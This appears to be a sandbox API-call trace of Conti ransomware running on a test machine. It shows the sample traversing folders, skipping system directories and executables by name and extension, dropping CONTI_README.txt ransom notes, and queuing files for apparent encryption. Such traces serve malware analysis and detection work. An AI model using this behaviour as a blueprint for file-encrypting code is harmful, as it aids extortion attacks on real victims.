	[0093.235] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.236] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0093.236] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.236] GetProcessHeap () returned 0x1720000
	[0093.236] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bfbf0
	[0093.236] lstrcpyW (in: lpString1=0x17bfbf0, lpString2="C:\\588bce7c90097ed212\\1032" | out: lpString1="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032"
	[0093.236] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\"
	[0093.236] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml"
	[0093.236] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c40e8) returned 1
	[0093.236] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.236] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.236] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.236] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.236] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.236] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.236] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.236] FindNextFileW (in: hFindFile=0x175e5f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.236] GetProcessHeap () returned 0x1720000
	[0093.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.236] FindClose (in: hFindFile=0x175e5f0 | out: hFindFile=0x175e5f0) returned 1
	[0093.236] GetProcessHeap () returned 0x1720000
	[0093.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.236] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1033", cAlternateFileName="")) returned 1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="tmp") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="winnt") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="Application Data") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="AppData") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="thumb") returned -1
	[0093.236] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="$RECYCLE.BIN") returned 1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="System Volume Information") returned -1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="Program Files") returned -1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="Program Files (x86)") returned -1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="Boot") returned -1
	[0093.237] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0093.237] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.237] lstrlenW (lpString="1033") returned 4
	[0093.237] GetProcessHeap () returned 0x1720000
	[0093.237] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.237] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.237] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.237] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1033" | out: lpString1="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0093.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0093.237] GetProcessHeap () returned 0x1720000
	[0093.237] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.237] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1033" | out: lpString1="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0093.237] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1033\\*") returned="C:\\588bce7c90097ed212\\1033\\*"
	[0093.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0093.237] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.237] GetProcessHeap () returned 0x1720000
	[0093.237] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a10
	[0093.237] lstrcpyW (in: lpString1=0x17c2a10, lpString2="C:\\588bce7c90097ed212\\1033" | out: lpString1="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0093.237] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0093.237] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1033\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1033\\CONTI_README.txt"
	[0093.237] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.402] GetProcessHeap () returned 0x1720000
	[0093.402] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a10 | out: hHeap=0x1720000) returned 1
	[0093.402] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.403] CloseHandle (hObject=0x334) returned 1
	[0093.403] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8349ef, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e770
	[0093.403] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.403] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8349ef, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.403] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.403] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.403] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8349ef, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b8349ef, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b8349ef, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.403] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.403] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.403] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.403] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.403] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.403] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.403] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.403] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.404] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0093.404] lstrlenW (lpString="eula.rtf") returned 8
	[0093.404] GetProcessHeap () returned 0x1720000
	[0093.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d1e8
	[0093.404] lstrcpyW (in: lpString1=0x173d1e8, lpString2="C:\\588bce7c90097ed212\\1033" | out: lpString1="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0093.404] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0093.404] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf"
	[0093.404] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0093.404] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.404] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.404] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.404] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0093.404] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.404] GetProcessHeap () returned 0x1720000
	[0093.404] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x1732540
	[0093.404] lstrcpyW (in: lpString1=0x1732540, lpString2="C:\\588bce7c90097ed212\\1033" | out: lpString1="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033"
	[0093.404] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0093.405] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1033\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml"
	[0093.405] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4330) returned 1
	[0093.405] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.405] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.405] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.405] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.405] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.405] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.405] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.405] FindNextFileW (in: hFindFile=0x175e770, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.405] GetProcessHeap () returned 0x1720000
	[0093.405] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.405] FindClose (in: hFindFile=0x175e770 | out: hFindFile=0x175e770) returned 1
	[0093.405] GetProcessHeap () returned 0x1720000
	[0093.405] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.405] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1035", cAlternateFileName="")) returned 1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2=".") returned 1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="..") returned 1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="tmp") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="winnt") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="Application Data") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="AppData") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="temp") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="thumb") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="$Recycle.Bin") returned 1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="$RECYCLE.BIN") returned 1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="System Volume Information") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="Program Files") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="Program Files (x86)") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="Boot") returned -1
	[0093.405] lstrcmpiW (lpString1="1035", lpString2="Windows") returned -1
	[0093.406] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.406] lstrlenW (lpString="1035") returned 4
	[0093.406] GetProcessHeap () returned 0x1720000
	[0093.406] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e3b0
	[0093.406] lstrcpyW (in: lpString1=0x175e3b0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.406] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.406] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1035" | out: lpString1="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0093.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0093.406] GetProcessHeap () returned 0x1720000
	[0093.406] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17343f0
	[0093.406] lstrcpyW (in: lpString1=0x17343f0, lpString2="C:\\588bce7c90097ed212\\1035" | out: lpString1="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0093.406] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1035\\*") returned="C:\\588bce7c90097ed212\\1035\\*"
	[0093.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0093.406] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.406] GetProcessHeap () returned 0x1720000
	[0093.406] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x1726e10
	[0093.406] lstrcpyW (in: lpString1=0x1726e10, lpString2="C:\\588bce7c90097ed212\\1035" | out: lpString1="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0093.406] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0093.406] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1035\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1035\\CONTI_README.txt"
	[0093.406] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.414] GetProcessHeap () returned 0x1720000
	[0093.414] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1726e10 | out: hHeap=0x1720000) returned 1
	[0093.414] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.415] CloseHandle (hObject=0x338) returned 1
	[0093.415] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b85aba3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.415] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.415] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b85aba3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.415] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.415] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.415] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b85aba3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b85aba3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b85aba3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.415] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.415] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.415] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.415] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.415] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.415] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.415] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.416] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0093.416] lstrlenW (lpString="eula.rtf") returned 8
	[0093.416] GetProcessHeap () returned 0x1720000
	[0093.416] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d558
	[0093.416] lstrcpyW (in: lpString1=0x173d558, lpString2="C:\\588bce7c90097ed212\\1035" | out: lpString1="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0093.416] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0093.416] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf"
	[0093.416] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
